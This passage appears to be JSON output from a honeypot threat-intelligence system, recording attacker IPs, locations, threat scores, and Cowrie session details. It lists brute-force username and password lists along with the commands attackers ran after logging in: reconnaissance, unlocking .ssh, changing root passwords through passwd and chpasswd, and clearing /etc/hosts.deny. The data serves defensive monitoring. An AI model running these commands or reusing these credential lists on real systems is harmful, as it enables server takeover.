        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 479,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:45:09.080000+00:00",
        "last_seen_30d": "2026-04-06T04:43:59.153000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 118
      }
    },
    "45.196.236.141": {
      "attack_count": 332,
      "first_seen": "2026-04-26T06:23:49.711Z",
      "last_seen": "2026-04-26T07:16:37.517Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "admin",
        "jenkins",
        "teamspeak",
        "Test",
        "bot",
        "deploy",
        "devops",
        "frappe",
        "ftpuser",
        "ganesh",
        "newuser",
        "odoo",
        "sftp_user",
        "steam",
        "taibabi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "222222",
        "Admin123!@",
        "Admin12345678!@#",
        "Admin31!",
        "Bot13!",
        "Frappe!@#$",
        "Hello@123",
        "KS@gshyx@zl1651",
        "Qazwsx1111111@",
        "Teamspeak13!",
        "ZAQ!2wsx54321#$",
        "abc123$$$",
        "deploy123",
        "ganesh",
        "jenkins1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Admin31!\\nY3F8khfFP03M\\nY3F8khfFP03M\\n\"|passwd",
        "echo \"Teamspeak13!\\n5c5BO8RgKwEL\\n5c5BO8RgKwEL\\n\"|passwd",
        "echo \"jenkins1\\nGVJHpzPDBDVE\\nGVJHpzPDBDVE\\n\"|passwd",
        "echo -e \"Admin31!\\nY3F8khfFP03M\\nY3F8khfFP03M\"|passwd|bash",
        "echo -e \"Teamspeak13!\\n5c5BO8RgKwEL\\n5c5BO8RgKwEL\"|passwd|bash",
        "echo -e \"jenkins1\\nGVJHpzPDBDVE\\nGVJHpzPDBDVE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 151407,
      "as_org": "Hytron Network Services Limited",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T06:23:49.711000+00:00",
        "last_seen_30d": "2026-04-26T07:17:38.316000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 71
      }
    },
    "4.221.162.168": {
      "attack_count": 331,
      "first_seen": "2026-04-12T12:08:06.503Z",
      "last_seen": "2026-04-12T12:58:39.711Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "postgres",
        "jenkins",
        "edge",
        "jordi",
        "mail",
        "omar",
        "oracle",
        "teamspeak",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Ali18",
        "Ali20!",
        "Letmein.123!@#",
        "Password2024",
        "QWER123456",
        "QWERQWER1234",
        "Za123456",
        "edge@123",
        "jordi",
        "omar123",
        "oracle05",
        "postgres",
        "postgres12345",
        "postgres14",
        "qazwsx0@",
        "qazwsx123@#",
        "qazwsx54321.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n7dlafCwVqNrI\\n7dlafCwVqNrI\\n\"|passwd",
        "echo \"Ali18\\nFzhMm6Uk6o19\\nFzhMm6Uk6o19\\n\"|passwd",
        "echo \"root:F3AyUBONMcuP\"|chpasswd|bash",
        "echo -e \"123\\n7dlafCwVqNrI\\n7dlafCwVqNrI\"|passwd|bash",
        "echo -e \"Ali18\\nFzhMm6Uk6o19\\nFzhMm6Uk6o19\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:08:06.503000+00:00",
        "last_seen_30d": "2026-04-12T12:59:48.763000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "92.46.38.226": {
      "attack_count": 331,
      "first_seen": "2026-04-15T07:52:18.655Z",
      "last_seen": "2026-04-15T08:32:56.052Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "user",
        "deployer",
        "postgres",
        "ubuntu",
        "nina",
        "rke",
        "test",
        "tester",
        "tests",
        "ts3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12356",
        "3edc4rfv@@",
        "A1234567090",
        "Aa.123456",
        "Abc654321",
        "P@ss$1234",
        "Passw0rd2026",
        "QQzz000",
        "QWERTY123@",
        "Root8888..",
        "Steam08",
        "Test20!",
        "a123456\"1",
        "asdfasdf1234",
        "liverovast#adkz443",
        "newpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:KlO9bjQIKb1t\"|chpasswd|bash",
        "echo \"test\\nB5eS5tvot41U\\nB5eS5tvot41U\\n\"|passwd",
        "echo \"user23\\naATVEZfbACfq\\naATVEZfbACfq\\n\"|passwd",
        "echo -e \"test\\nB5eS5tvot41U\\nB5eS5tvot41U\"|passwd|bash",
        "echo -e \"user23\\naATVEZfbACfq\\naATVEZfbACfq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T07:52:18.655000+00:00",
        "last_seen_30d": "2026-04-15T08:33:59.246000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 72
      }
    },
    "179.33.186.150": {
      "attack_count": 272,
      "first_seen": "2026-04-25T23:09:51.062Z",
      "last_seen": "2026-04-25T23:38:32.464Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "ubuntu",
        "ali",
        "deploy",
        "dev",
        "devuser",
        "minecraft",
        "n8n",
        "odoo",
        "oem",
        "steam",
        "system",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Aa112211.",
        "Abc123!",
        "Abcd12345!!",
        "Admin123",
        "DDaa123",
        "Guest@123",
        "Odoo#",
        "Pass@1234",
        "Sam4z1ngw0nd3r5Z",
        "Welcome1!",
        "admin0@#",
        "admin@123",
        "ali5",
        "asdfghjkl",
        "d3ploy",
        "dev26!",
        "devuser123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin@123\\nGwvhLBJ3COpB\\nGwvhLBJ3COpB\\n\"|passwd",
        "echo \"root:gydiS2y7EDOb\"|chpasswd|bash",
        "echo -e \"admin@123\\nGwvhLBJ3COpB\\nGwvhLBJ3COpB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T23:09:51.062000+00:00",
        "last_seen_30d": "2026-04-25T23:39:39.874000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 272,
        "Suricata": 68
      }
    },
    "156.227.233.77": {
      "attack_count": 263,
      "first_seen": "2026-04-16T11:58:54.231Z",
      "last_seen": "2026-04-16T12:38:39.002Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "devops",
        "docker",
        "user",
        "7days",
        "admin",
        "bot",
        "deploy",
        "dockeruser",
        "ftpuser",
        "harsh",
        "newuser",
        "postfixtester",
        "server",
        "testing",
        "ubuntu",
        "user1",
        "users"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "0000",
        "102026",
        "123321",
        "123456",
        "1qaz#EDC5tgb",
        "7days",
        "Admin26",
        "Ctyun@2026",
        "Passw0rd01!",
        "Root111$",
        "Root12345678.",
        "Ubuntu10!",
        "User16!",
        "User27!",
        "admin123456789!@#",
        "bot8",
        "devops123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"devops123\\nSLT9z1jybMHj\\nSLT9z1jybMHj\\n\"|passwd",
        "echo \"docker\\nAnp3Nm1h7uji\\nAnp3Nm1h7uji\\n\"|passwd",
        "echo -e \"devops123\\nSLT9z1jybMHj\\nSLT9z1jybMHj\"|passwd|bash",
        "echo -e \"docker\\nAnp3Nm1h7uji\\nAnp3Nm1h7uji\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:58:54.231000+00:00",
        "last_seen_30d": "2026-04-16T12:39:40.666000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 66
      }
    },
    "76.79.213.70": {
      "attack_count": 263,
      "first_seen": "2026-04-12T12:13:56.841Z",
      "last_seen": "2026-04-12T12:57:31.851Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "oracle",
        "ubuntu",
        "admin",
        "claude",
        "cloud",
        "dev",
        "git",
        "joao",
        "pentest",
        "soksuser",
        "steam",
        "tania",
        "test",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234567",
        "123456789",
        "1Qaz2wsx",
        "Ac@123456",
        "Ch123456",
        "Claude26",
        "P@ss2025!",
        "Pa$$word",
        "Qazwsx123123@",
        "Root001@123",
        "Root4321",
        "Steam!2026",
        "Ubuntu2026",
        "ZAQ!..",
        "ZAQ!xsw2",
        "a",
        "admin20"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Pa$$word\\n9MbSlJDbwHd0\\n9MbSlJDbwHd0\\n\"|passwd",
        "echo \"a\\nwN9Ridfz9hHR\\nwN9Ridfz9hHR\\n\"|passwd",
        "echo -e \"Pa$$word\\n9MbSlJDbwHd0\\n9MbSlJDbwHd0\"|passwd|bash",
        "echo -e \"a\\nwN9Ridfz9hHR\\nwN9Ridfz9hHR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:13:56.841000+00:00",
        "last_seen_30d": "2026-04-12T12:58:41.078000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 66
      }
    },
    "165.154.6.66": {
      "attack_count": 262,
      "first_seen": "2026-04-04T11:29:28.866Z",
      "last_seen": "2026-04-04T12:33:01.396Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "amir",
        "bot3",
        "deploy",
        "ec2-user",
        "fmaster",
        "server",
        "test1",
        "ubuntu",
        "user",
        "user1",
        "web"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE",
        "000123",
        "123",
        "123!@#asdASD",
        "6yhn^YHN",
        "87654321",
        "A1231234",
        "Aa12345",
        "P@$$w0rd123",
        "Qq123456",
        "Qwertyuio123456789",
        "Server24",
        "Test@321",
        "User15",
        "aaAA123",
        "admin",
        "admin12345!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Test@321\\nGYUfJFeCM9e2\\nGYUfJFeCM9e2\\n\"|passwd",
        "echo \"root:u0J17vc7Mccf\"|chpasswd|bash",
        "echo -e \"Test@321\\nGYUfJFeCM9e2\\nGYUfJFeCM9e2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T11:29:28.866000+00:00",
        "last_seen_30d": "2026-04-04T12:34:05.648000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 71
      }
    },
    "119.28.32.239": {
      "attack_count": 241,
      "first_seen": "2026-04-05T03:03:45.711Z",
      "last_seen": "2026-04-05T04:04:35.269Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "ubuntu",
        "angel",
        "fileuser",
        "matt",
        "minecraft",
        "sammy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456!@#$%^",
        "123456as",
        "123ABCabc",
        "1qaz2wsx",
        "A",
        "Asdf1234!",
        "Minecraft",
        "Root54321!@",
        "Root9999#$",
        "Test2024",
        "ZAQ!2wsx54321@",
        "ZZbb123123",
        "angel",
        "bbDD111",
        "k9jt3d",
        "qazwsx",
        "qazwsx123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:QISJs4udtIBH\"|chpasswd|bash",
        "echo \"root:V7b1JyrcjClF\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T03:03:45.711000+00:00",
        "last_seen_30d": "2026-04-05T04:05:40.326000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 61
      }
    },
    "138.124.73.129": {
      "attack_count": 236,
      "first_seen": "2026-04-28T12:03:31.730Z",
      "last_seen": "2026-04-28T13:20:30.902Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123rf7",
        "1q2w3e4r5t6y1q2w3e4r5t",
        "1qaz@WSX3edcoriginal",
        "Asd12$",
        "Asdf1234!",
        "NeuCm10.254.7.19",
        "[master]",
        "adm1n",
        "admin32",
        "aq!@#",
        "b@b3",
        "bhalgarh:",
        "combo123",
        "edward",
        "ftpuser",
        "letm31n",
        "oracle12345678",
        "test1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DOEUWV3aXpku\"|chpasswd|bash",
        "echo \"root:Ts0tB09rsDCg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:03:31.730000+00:00",
        "last_seen_30d": "2026-04-28T13:21:32.312000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "67.71.54.129": {
      "attack_count": 236,
      "first_seen": "2026-04-28T02:12:59.979Z",
      "last_seen": "2026-04-28T02:30:50.224Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "infra911"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qwe2",
        "92th1234567",
        "A@1234567",
        "Aa888888",
        "Aa@111111",
        "Admin01",
        "Insert123!",
        "P4ssw0rd!",
        "QAZwsx123!",
        "QW.!@",
        "Qwert!@#$%",
        "REWQ$#@!",
        "Test@123",
        "abc@12",
        "admin_1",
        "asdfgh",
        "default",
        "infra911pw"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Gt8y6v3vcelL\"|chpasswd|bash",
        "echo \"root:nY7au4GBSOi2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "North York",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
